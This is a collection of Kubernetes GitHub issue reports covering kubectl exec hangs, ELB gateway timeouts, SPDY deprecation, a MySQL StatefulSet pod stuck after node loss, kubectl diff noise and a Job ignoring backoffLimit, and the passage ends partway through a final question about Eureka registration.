<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r kubectl exec hangs background\r \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :  macosx v10.11.6  15g1421 \r -   kernel    e.g.  uname -a  : darwin wmd2b-dec 15.6.0 darwin kernel version 15.6.0: fri feb 17 10:21:18 pst 2017; root:xnu-3248.60.11.4.1~1/release_x86_64 x86_64\r -   install tools  : \r -   others  :\r \r \r   what happened  :\r \r i have a script that contains one line:\r    \r sleep 1000 & \r    \r and i run it with  kubectl exec <pod> -- /my-script.sh \r \r   what you expected to happen  :\r \r i was expecting it to exit immediately since the sleep command runs in the background, but instead it hangs until the sleep command exits. \r it doesn't matter whether i put  !/bin/bash or  !/bin/sh at the top.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r also, i can reproduce this issue by just running\r \r  kubectl exec -it <pod> bash \r and then manually running  sleep 1000 &    which runs in the background as expected .  \r however, if i then run  exit , it hangs.  \r if i kill the sleep process before exiting, it exits without hanging.\r also, if i instead run  nohup sleep 1000 &  , it also exits without hanging.\r \r \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : yes and i have\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kube-proxy, gateway timeout, gateway, 504\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.-->\r \r   kubernetes version    use  kubectl version  : \r    json\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-22t10:12:27z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : kope.io/k8s-1.4-debian-jessie-amd64-hvm-ebs-2016-10-21\r -   kernel    e.g.  uname -a  :\r -   install tools  : kops\r \r \r   what happened  : i have setup a service with loadbalancer  aws elb . the elb sees all nodes as available. when trying to access that service, i randomly get 504 gateway timeouts that appear instantly, without actually waiting for a timeout. restarting the kube-proxy does not seem to help at all. refreshing/re-sending the request will solve it. it seems to happen every few requests as if on a round robin rotation.\r \r \r   what you expected to happen  : kube-proxy should be able to handle such things.\r \r \r   how to reproduce it    as minimally and precisely as possible : not sure here. try running a kops cluster with an elb service and a uwsgi web server as a backend\r \r \r   anything else we need to know  : we are using uwsgi as a server inside the containers.

spdy is dead  https://github.com/kubernetes/kubernetes/issues/7452 .  websockets is at least better supported.  we can tunnel most things over web sockets and it is better supported than spdy.  we should switch kubectl to only use web sockets, and fix the various issues.  i'd like to deprecate spdy in 1.8 and potentially remove in 1.9, given that there are almost no integrations leveraging spdy out there in the wild.\r \r   proxy doesn't support web sockets or spdy https://github.com/kubernetes/kubernetes/issues/32026\r   stderr and stdout mangled https://github.com/kubernetes/kubernetes/issues/28167\r   multi-watch will be over websockets https://github.com/kubernetes/kubernetes/issues/1685\r   web sockets are usable from browser

failure rate is  high  https://storage.googleapis.com/k8s-gubernator/triage/index.html?ci=0&pr=1&test=%20garbage%20collector%20should%20not%20delete%20dependents%20that%20have%20both%20valid%20owner%20and%20owner%20that%27s%20waiting%20for%20dependents%20to%20be%20deleted .\r \r we have an integration test that validates the same functionality, so i probably will investigate the cause of the e2e failures and then delete the e2e test.

offshoot of discussion from https://github.com/kubernetes/kubernetes/pull/54045\r \r we're noticing this in our recent 5k-node cluster test runs, for e.g  from https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/49 :\r \r    \r i1016 23:17:15.673        container l7-lb-controller-v0.9.7-gce-scale-cluster-master/l7-lb-controller is using 3428.52734375/3075 mb of memory\r i1016 23:17:15.673    not to have occurred\u001b 0m\r    \r \r copying some relevant comments from that discussion:\r \r    \r fyi - the last run where we know it was below the threshold was 43. and we start seeing this increase from 48. the  commit diff  https://github.com/kubernetes/kubernetes/compare/6ed207374f8bbf...7c7572386  is huge, but from a quick look this one seems likely:\r \r https://github.com/kubernetes/kubernetes/pull/53625 which bumped glbc to 0.9.7  cc @nikhiljindal  \r    \r \r    \r @freehan may have been your change to shared informers. could have also been one of the many re-vendors.\r    \r \r cc @kubernetes/sig-network-bugs @nicksardo @freehan

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report  :\r \r > uncomment only one, leave it on its own line: \r >\r   \r \r \r   what happened  :\r \r   what you expected to happen  :\r the pod should reschedule to anther ready node\r   how to reproduce it  as minimally and precisely as possible   :\r because the node is not response so i power off it.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration:\r ubuntu 1604 kvm guest  in ubuntu 1604 host\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r  linux ubuntu-1604-006 4.4.0-87-generic  110-ubuntu smp tue jul 18 12:55:35 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r kubelet run by systemd\r - others:\r    \r $ kubectl get node\r name              status     roles     age       version\r ubuntu-1604-001   notready   <none>    6d        v1.9.2\r ubuntu-1604-002   ready      <none>    6d        v1.9.2\r ubuntu-1604-003   ready      <none>    6d        v1.9.2\r ubuntu-1604-004   ready      <none>    6d        v1.9.2\r ubuntu-1604-005   ready      master    6d        v1.9.2\r \r $ kubectl get pod -l app=mysql -o wide\r name      ready     status    restarts   age       ip            node\r mysql-0   2/2       unknown   1          23h       10.244.1.15   ubuntu-1604-001\r mysql-1   2/2       running   0          23h       10.244.2.15   ubuntu-1604-002\r mysql-2   2/2       running   0          1h        10.244.4.36   ubuntu-1604-004\r \r $ kubectl get pod mysql-0 -o yaml\r apiversion: v1\r kind: pod\r metadata:\r   creationtimestamp: 2018-03-15t08:03:24z\r   deletiongraceperiodseconds: 30\r   deletiontimestamp: 2018-03-16t06:20:46z\r   generatename: mysql-\r   labels:\r     app: mysql\r     controller-revision-hash: mysql-5ff8bb978d\r     statefulset.kubernetes.io/pod-name: mysql-0\r   name: mysql-0\r   namespace: default\r   ownerreferences:\r   - apiversion: apps/v1beta1\r     blockownerdeletion: true\r     controller: true\r     kind: statefulset\r     name: mysql\r     uid: 55dfd108-2827-11e8-841d-52540037348b\r   resourceversion: \ 794488\ \r   selflink: /api/v1/namespaces/default/pods/mysql-0\r   uid: 562a676a-2827-11e8-841d-52540037348b\r spec:\r   containers:\r   - env:\r     - name: mysql_allow_empty_password\r       value: \ 1\ \r     image: registry.lisong.pub:5000/mysql:5.7\r     imagepullpolicy: ifnotpresent\r     livenessprobe:\r       exec:\r         command:\r         - mysqladmin\r         - ping\r       failurethreshold: 3\r       initialdelayseconds: 30\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 5\r     name: mysql\r     ports:\r     - containerport: 3306\r       name: mysql\r       protocol: tcp\r     readinessprobe:\r       exec:\r         command:\r         - mysql\r         - -h\r         - 127.0.0.1\r         - -e\r         - select 1\r       failurethreshold: 3\r       initialdelayseconds: 5\r       periodseconds: 2\r       successthreshold: 1\r       timeoutseconds: 1\r     resources:\r       requests:\r         cpu: 500m\r         memory: 1gi\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /var/lib/mysql\r       name: data\r       subpath: mysql\r     - mountpath: /etc/mysql/conf.d\r       name: conf\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-mbmbp\r       readonly: true\r   - command:\r     - bash\r     - -c\r     - |\r       set -ex\r       cd /var/lib/mysql\r \r         determine binlog position of cloned data, if any.\r       if    -f xtrabackup_slave_info   ; then\r           xtrabackup already generated a partial \ change master to\  query\r           because we're cloning from an existing slave.\r         mv xtrabackup_slave_info change_master_to.sql.in\r           ignore xtrabackup_binlog_info in this case  it's useless .\r         rm -f xtrabackup_binlog_info\r       elif    -f xtrabackup_binlog_info   ; then\r           we're cloning directly from master. parse binlog position.\r             cat xtrabackup_binlog_info  =~ ^ . ?   :space:  + . ? $    || exit 1\r         rm xtrabackup_binlog_info\r         echo \ change master to master_log_file='${bash_rematch 1 }',\\\r               master_log_pos=${bash_rematch 2 }\  > change_master_to.sql.in\r       fi\r \r         check if we need to complete a clone by starting replication.\r       if    -f change_master_to.sql.in   ; then\r         echo \ waiting for mysqld to be ready  accepting connections \ \r         until mysql -h 127.0.0.1 -e \ select 1\ ; do sleep 1; done\r \r         echo \ initializing replication from clone position\ \r           in case of container restart, attempt this at-most-once.\r         mv change_master_to.sql.in change_master_to.sql.orig\r         mysql -h 127.0.0.1 <<eof\r       $ <change_master_to.sql.orig ,\r         master_host='mysql-0.mysql',\r         master_user='root',\r         master_password='',\r         master_connect_retry=10;\r       start slave;\r       eof\r       fi\r \r         start a server to send backups when requested by peers.\r       exec ncat --listen --keep-open --send-only --max-conns=1 3307 -c \\\r         \ xtrabackup --backup --slave-info --stream=xbstream --host=127.0.0.1 --user=root\ \r     image: registry.lisong.pub:5000/google-samples/xtrabackup:1.0\r     imagepullpolicy: ifnotpresent\r     name: xtrabackup\r     ports:\r     - containerport: 3307\r       name: xtrabackup\r       protocol: tcp\r     resources:\r       requests:\r         cpu: 100m\r         memory: 100mi\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /var/lib/mysql\r       name: data\r       subpath: mysql\r     - mountpath: /etc/mysql/conf.d\r       name: conf\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-mbmbp\r       readonly: true\r   dnspolicy: clusterfirst\r   hostname: mysql-0\r   initcontainers:\r   - command:\r     - bash\r     - -c\r     - |\r       set -ex\r         generate mysql server-id from pod ordinal index.\r           hostname  =~ -  0-9 + $    || exit 1\r       ordinal=${bash_rematch 1 }\r       echo  mysqld  > /mnt/conf.d/server-id.cnf\r         add an offset to avoid reserved server-id=0 value.\r       echo server-id=$  100 + $ordinal   >> /mnt/conf.d/server-id.cnf\r         copy appropriate conf.d files from config-map to emptydir.\r       if    $ordinal -eq 0   ; then\r         cp /mnt/config-map/master.cnf /mnt/conf.d/\r       else\r         cp /mnt/config-map/slave.cnf /mnt/conf.d/\r       fi\r     image: registry.lisong.pub:5000/mysql:5.7\r     imagepullpolicy: ifnotpresent\r     name: init-mysql\r     resources: {}\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /mnt/conf.d\r       name: conf\r     - mountpath: /mnt/config-map\r       name: config-map\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-mbmbp\r       readonly: true\r   - command:\r     - bash\r     - -c\r     - |\r       set -ex\r         skip the clone if data already exists.\r          -d /var/lib/mysql/mysql    && exit 0\r         skip the clone on master  ordinal index 0 .\r           hostname  =~ -  0-9 + $    || exit 1\r       ordinal=${bash_rematch 1 }\r          $ordinal -eq 0    && exit 0\r         clone data from previous peer.\r       ncat --recv-only mysql-$  $ordinal-1  .mysql 3307 | xbstream -x -c /var/lib/mysql\r         prepare the backup.\r       xtrabackup --prepare --target-dir=/var/lib/mysql\r     image: registry.lisong.pub:5000/google-samples/xtrabackup:1.0\r     imagepullpolicy: ifnotpresent\r     name: clone-mysql\r     resources: {}\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /var/lib/mysql\r       name: data\r       subpath: mysql\r     - mountpath: /etc/mysql/conf.d\r       name: conf\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-mbmbp\r       readonly: true\r   nodename: ubuntu-1604-001\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: default\r   serviceaccountname: default\r   subdomain: mysql\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - effect: noexecute\r     key: node.kubernetes.io/not-ready\r     operator: exists\r     tolerationseconds: 300\r   - effect: noexecute\r     key: node.kubernetes.io/unreachable\r     operator: exists\r     tolerationseconds: 300\r   volumes:\r   - name: data\r     persistentvolumeclaim:\r       claimname: data-mysql-0\r   - emptydir: {}\r     name: conf\r   - configmap:\r       defaultmode: 420\r       name: mysql\r     name: config-map\r   - name: default-token-mbmbp\r     secret:\r       defaultmode: 420\r       secretname: default-token-mbmbp\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2018-03-15t08:04:05z\r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: 2018-03-15t08:05:43z\r     status: \ false\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: 2018-03-15t08:03:25z\r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - containerid: docker://bda54b8b6a990c7ff772dbe46624d6d07d1255d717fb68946c5b5a94d18f98a7\r     image: registry.lisong.pub:5000/mysql:5.7\r     imageid: docker-pullable://registry.lisong.pub:5000/mysql@sha256:12e70236ec8be07b87a95008a22deb0a2a6289ac81d852e622ea13e8311cec64\r     laststate:\r       terminated:\r         containerid: docker://cdc5ffd5ebbfc9c4a0b193c9bf00843cf3c7fc37fd694742294e4bd8107c5bf6\r         exitcode: 137\r         finishedat: 2018-03-15t08:05:28z\r         reason: error\r         startedat: 2018-03-15t08:04:07z\r     name: mysql\r     ready: true\r     restartcount: 1\r     state:\r       running:\r         startedat: 2018-03-15t08:05:29z\r   - containerid: docker://a0ea9170e6b1eda94354fbafcf841c65c80c0b5303393d9c9bb7784a52cdc705\r     image: registry.lisong.pub:5000/google-samples/xtrabackup:1.0\r     imageid: docker-pullable://registry.lisong.pub:5000/google-samples/xtrabackup@sha256:39f106eb400e18dcb4bded651a7ab308b39c305578ce228ae35f3c76bc715510\r     laststate: {}\r     name: xtrabackup\r     ready: true\r     restartcount: 0\r     state:\r       running:\r         startedat: 2018-03-15t08:04:08z\r   hostip: 192.168.10.211\r   initcontainerstatuses:\r   - containerid: docker://3692ed5bc2a33269bbc9a7799d0a69b2ed20a5a452089b926612ac1f8e85ab2a\r     image: registry.lisong.pub:5000/mysql:5.7\r     imageid: docker-pullable://registry.lisong.pub:5000/mysql@sha256:12e70236ec8be07b87a95008a22deb0a2a6289ac81d852e622ea13e8311cec64\r     laststate: {}\r     name: init-mysql\r     ready: true\r     restartcount: 0\r     state:\r       terminated:\r         containerid: docker://3692ed5bc2a33269bbc9a7799d0a69b2ed20a5a452089b926612ac1f8e85ab2a\r         exitcode: 0\r         finishedat: 2018-03-15t08:03:50z\r         reason: completed\r         startedat: 2018-03-15t08:03:50z\r   - containerid: docker://e530780cd455cf68f69c0ad205f610d5ff59af250a5602c0e673892e3e7f4099\r     image: registry.lisong.pub:5000/google-samples/xtrabackup:1.0\r     imageid: docker-pullable://registry.lisong.pub:5000/google-samples/xtrabackup@sha256:39f106eb400e18dcb4bded651a7ab308b39c305578ce228ae35f3c76bc715510\r     laststate: {}\r     name: clone-mysql\r     ready: true\r     restartcount: 0\r     state:\r       terminated:\r         containerid: docker://e530780cd455cf68f69c0ad205f610d5ff59af250a5602c0e673892e3e7f4099\r         exitcode: 0\r         finishedat: 2018-03-15t08:04:04z\r         reason: completed\r         startedat: 2018-03-15t08:04:04z\r   message: node ubuntu-1604-001 which was running pod mysql-0 is unresponsive\r   phase: running\r   podip: 10.244.1.15\r   qosclass: burstable\r   reason: nodelost\r   starttime: 2018-03-15t08:03:25z\r \r    \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when applying an yaml file to the cluster, often we only specify a subset of things. and sometimes the api server will add new key-value pairs. as a result, we have more things stored on the cluster. use    dummy.yaml    below as an example:\r    \r kind: pod\r apiversion: v1\r metadata:\r   name: dummy-pod\r spec:\r   containers:\r     - name: dummy-pod\r       image: ubuntu\r       command:  \ /bin/bash\ , \ -ec\ , \ while :; do echo '.'; sleep 5 ; done\  \r   restartpolicy: always\r    \r \r so we can run    kubectl apply -f dummy.yaml    to run the pod on the cluster.\r \r now if i run    kubectl alpha diff -f dummy.yaml   , i expect that it shows that nothing is changed. but instead it showes:\r    \r diff -u -n /tmp/local-294395991/dummy-pod /tmp/live-710688202/dummy-pod\r --- /tmp/local-294395991/dummy-pod\t2018-04-24 17:14:46.795282534 -0700\r +++ /tmp/live-710688202/dummy-pod\t2018-04-24 17:14:46.795282534 -0700\r @@ -1,8 +1,15 @@\r  apiversion: v1\r  kind: pod\r  metadata:\r +  annotations:\r +    kubectl.kubernetes.io/last-applied-configuration: |\r +      {\ apiversion\ :\ v1\ ,\ kind\ :\ pod\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ dummy-pod\ ,\ namespace\ :\ default\ },\ spec\ :{\ containers\ : {\ command\ : \ /bin/bash\ ,\ -ec\ ,\ while :; do echo '.'; sleep 5 ; done\  ,\ image\ :\ ubuntu\ ,\ name\ :\ dummy-pod\ } ,\ restartpolicy\ :\ always\ }}\r +  creationtimestamp: 2018-04-24t18:07:28z\r    name: dummy-pod\r    namespace: default\r +  resourceversion: \ 3498\ \r +  selflink: /api/v1/namespaces/default/pods/dummy-pod\r +  uid: 5964d3e1-47ea-11e8-af47-42010a800002\r  spec:\r    containers:\r    - command:\r @@ -10,5 +17,64 @@\r      - -ec\r      - while :; do echo '.'; sleep 5 ; done\r      image: ubuntu\r +    imagepullpolicy: always\r      name: dummy-pod\r +    resources: {}\r +    terminationmessagepath: /dev/termination-log\r +    terminationmessagepolicy: file\r +    volumemounts:\r +    - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r +      name: default-token-8bn8d\r +      readonly: true\r +  dnspolicy: clusterfirst\r +  nodename: gce-node-l9j55\r    restartpolicy: always\r +  schedulername: default-scheduler\r +  securitycontext: {}\r +  serviceaccount: default\r +  serviceaccountname: default\r +  terminationgraceperiodseconds: 30\r +  tolerations:\r +  - effect: noexecute\r +    key: node.alpha.kubernetes.io/notready\r +    operator: exists\r +    tolerationseconds: 300\r +  - effect: noexecute\r +    key: node.alpha.kubernetes.io/unreachable\r +    operator: exists\r +    tolerationseconds: 300\r +  volumes:\r +  - name: default-token-8bn8d\r +    secret:\r +      defaultmode: 420\r +      secretname: default-token-8bn8d\r +status:\r +  conditions:\r +  - lastprobetime: null\r +    lasttransitiontime: 2018-04-24t18:07:28z\r +    status: \ true\ \r +    type: initialized\r +  - lastprobetime: null\r +    lasttransitiontime: 2018-04-24t18:07:38z\r +    status: \ true\ \r +    type: ready\r +  - lastprobetime: null\r +    lasttransitiontime: 2018-04-24t18:07:28z\r +    status: \ true\ \r +    type: podscheduled\r +  containerstatuses:\r +  - containerid: docker://dce4cea45c1119693f73198919c0fd0fee1d070b65e18a49d3bc80e84496df3d\r +    image: ubuntu:latest\r +    imageid: docker-pullable://ubuntu@sha256:9ee3b83bcaa383e5e3b657f042f4034c92cdd50c03f73166c145c9ceaea9ba7c\r +    laststate: {}\r +    name: dummy-pod\r +    ready: true\r +    restartcount: 0\r +    state:\r +      running:\r +        startedat: 2018-04-24t18:07:37z\r +  hostip: 10.128.0.3\r +  phase: running\r +  podip: 10.44.0.1\r +  qosclass: besteffort\r +  starttime: 2018-04-24t18:07:28z\r    \r notice those    +    signs. these lines are things added by the cluster. some of them are not particularly helpful, e.g., the    status   . some may be useful, e.g.,    imagepullpolicy    and    dnspolicy   , because it is good to know the default values.\r \r since there are so many of those, it is hard for me to check if any line in my original    dummy.yaml    is changed. it would be nice if we can add some flag to   kubectl diff   so that we only compare things provided in the yaml file and ignore things added by the cluster.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r job is continuously creating failed pods.\r it's not respecting  backofflimit  parameter which should prevent of creating too many failed pods.\r \r   what you expected to happen  :\r job creates only limited number  defined in  backofflimit   of failed pods and finish itself with failed status.\r \r   how to reproduce it  as minimally and precisely as possible   :\r cronjob manifest:\r    \r apiversion: batch/v1beta1\r kind: cronjob\r metadata:\r   labels:\r     app: test-cj\r   name: test-cj\r   namespace: ops\r spec:\r   schedule: \ 1        \ \r   jobtemplate:\r     spec:\r       template:\r         spec:\r           initcontainers:\r           - name: init-container\r             image: alpine:3.7\r             command:\r             - /bin/sh\r             - -ec\r             - exit 1\r           containers:\r           - name: test-container\r             image: alpine:3.7\r             command:\r             - /bin/sh\r             - -ec\r             - sleep 5\r           restartpolicy: never\r       backofflimit: 2\r    \r \r after cronjob is triggered job is created. job is creating pods:\r    \r   kubectl get pods -n ops\r test-cj-1524651720-24tcc                         0/1       init:error              0          6s\r test-cj-1524651720-2k6ws                         0/1       init:error              0          27s\r test-cj-1524651720-2w4vx                         0/1       init:error              0          21s\r test-cj-1524651720-2x4bw                         0/1       init:error              0          31s\r test-cj-1524651720-452tj                         0/1       init:error              0          44s\r test-cj-1524651720-4zq4h                         0/1       init:error              0          4s\r test-cj-1524651720-5fxnj                         0/1       init:error              0          16s\r test-cj-1524651720-889nn                         0/1       init:error              0          33s\r test-cj-1524651720-8vbts                         0/1       init:error              0          12s\r test-cj-1524651720-c79f2                         0/1       init:error              0          8s\r test-cj-1524651720-dnrkr                         0/1       init:error              0          45s\r test-cj-1524651720-gz45c                         0/1       init:error              0          39s\r test-cj-1524651720-j7vkp                         0/1       init:error              0          25s\r test-cj-1524651720-jm9sv                         0/1       init:error              0          10s\r test-cj-1524651720-m85v8                         0/1       init:error              0          19s\r test-cj-1524651720-ngvv5                         0/1       init:error              0          29s\r test-cj-1524651720-prfc7                         0/1       init:error              0          37s\r test-cj-1524651720-r5ds4                         0/1       init:error              0          14s\r test-cj-1524651720-w7h9s                         0/1       init:error              0          41s\r test-cj-1524651720-wdd5z                         0/1       init:0/1                0          2s\r test-cj-1524651720-wrqvs                         0/1       init:error              0          35s\r test-cj-1524651720-xp854                         0/1       init:error              0          23s\r    \r \r    \r   kubectl describe job test-cj-1524651720 -n ops\r name:           test-cj-1524651720\r namespace:      ops\r selector:       controller-uid=7d618f70-4872-11e8-834c-5254009ef6db\r labels:         controller-uid=7d618f70-4872-11e8-834c-5254009ef6db\r                 job-name=test-cj-1524651720\r annotations:    <none>\r controlled by:  cronjob/test-cj\r parallelism:    1\r completions:    1\r start time:     wed, 25 apr 2018 10:22:00 +0000\r pods statuses:  1 running / 0 succeeded / 41 failed\r pod template:\r   labels:  controller-uid=7d618f70-4872-11e8-834c-5254009ef6db\r            job-name=test-cj-1524651720\r   init containers:\r    init-container:\r     image:      alpine:3.7\r     port:       <none>\r     host port:  <none>\r     command:\r       /bin/sh\r       -ec\r       exit 1\r     environment:  <none>\r     mounts:       <none>\r   containers:\r    test-container:\r     image:      alpine:3.7\r     port:       <none>\r     host port:  <none>\r     command:\r       /bin/sh\r       -ec\r       sleep 5\r     environment:  <none>\r     mounts:       <none>\r   volumes:        <none>\r events:\r   type    reason            age                from            message\r   ----    ------            ----               ----            -------\r   normal  successfulcreate  1m                 job-controller  created pod: test-cj-1524651720-dnrkr\r   normal  successfulcreate  1m                 job-controller  created pod: test-cj-1524651720-452tj\r   normal  successfulcreate  1m                 job-controller  created pod: test-cj-1524651720-w7h9s\r   normal  successfulcreate  1m                 job-controller  created pod: test-cj-1524651720-gz45c\r   normal  successfulcreate  1m                 job-controller  created pod: test-cj-1524651720-prfc7\r   normal  successfulcreate  1m                 job-controller  created pod: test-cj-1524651720-wrqvs\r   normal  successfulcreate  1m                 job-controller  created pod: test-cj-1524651720-889nn\r   normal  successfulcreate  1m                 job-controller  created pod: test-cj-1524651720-2x4bw\r   normal  successfulcreate  1m                 job-controller  created pod: test-cj-1524651720-ngvv5\r   normal  successfulcreate  36s  x16 over 1m   job-controller   combined from similar events : created pod: test-cj-1524651720-wbhpz\r    \r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: bare-metal\r - os  e.g. from /etc/os-release : ubuntu 14.04\r - kernel  e.g.  uname -a  :\r    \r linux dev-k8s-deployer-p1 4.13.0-36-generic  40-ubuntu smp fri feb 16 20:07:48 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: custom script

\r i have an spring discover  eureka  in a server x\r \r i have an docker with an app.  this app create an authentication with my discover in the server x .\r \r i create the pod, and after the service:\r \r > apiversion: apps/v1\r > kind: deployment\r > metadata:\r >   name: deploym\r >   labels:\r >     name: deploym\r > spec:\r >   replicas: 1\r >   selector:\r >     matchlabels:\r >       name: test-server\r >   template:\r >     metadata:\r >       labels:\r >         name: deploym\r >     spec:\r >       containers:\r >       - name: deploym\r >         image: imaget:latest\r >       hostaliases:\r >       - ip: xxx.xx.xx.xxx\r >         hostnames:\r >         - discover\r >       - ip: xxx.xx.xx.xxx\r >         hostnames:\r >         - discover.2\r >       imagepullsecrets:\r >       - name: regcre\r \r at the moment that i create the pod. my app create the registration with my discover server using the container ip.\r \r later i create my service:\r \r > apiversion: v1\r > kind: service\r > metadata:\r >   name: deploym\r >   labels:\r >     name: deploym\r > spec:\r >   type: nodeport\r >   ports:\r >     - port: 8080\r >       targetport: 8080\r >       nodeport: 30120\r >       name: http\r >     - port: 443\r >       targetport: 443\r >       nodeport: 31121\r >       name: https\r >   externalips:\r >     - 'xxx.xx.x.xx'\r >   selector:\r >     name: deploym\r \r but the problem is that my app is actually registered with my container ip.\r \r i need register in my discover using the nodeport and my node ip  because my eureka not find the app, because is seaching the container ip and port, and it ip and port are private in the container .\r \r i am using calico.\r \r the problem is that, i can see my nodeport from external servers  i test it with a curl , is not a problem. but 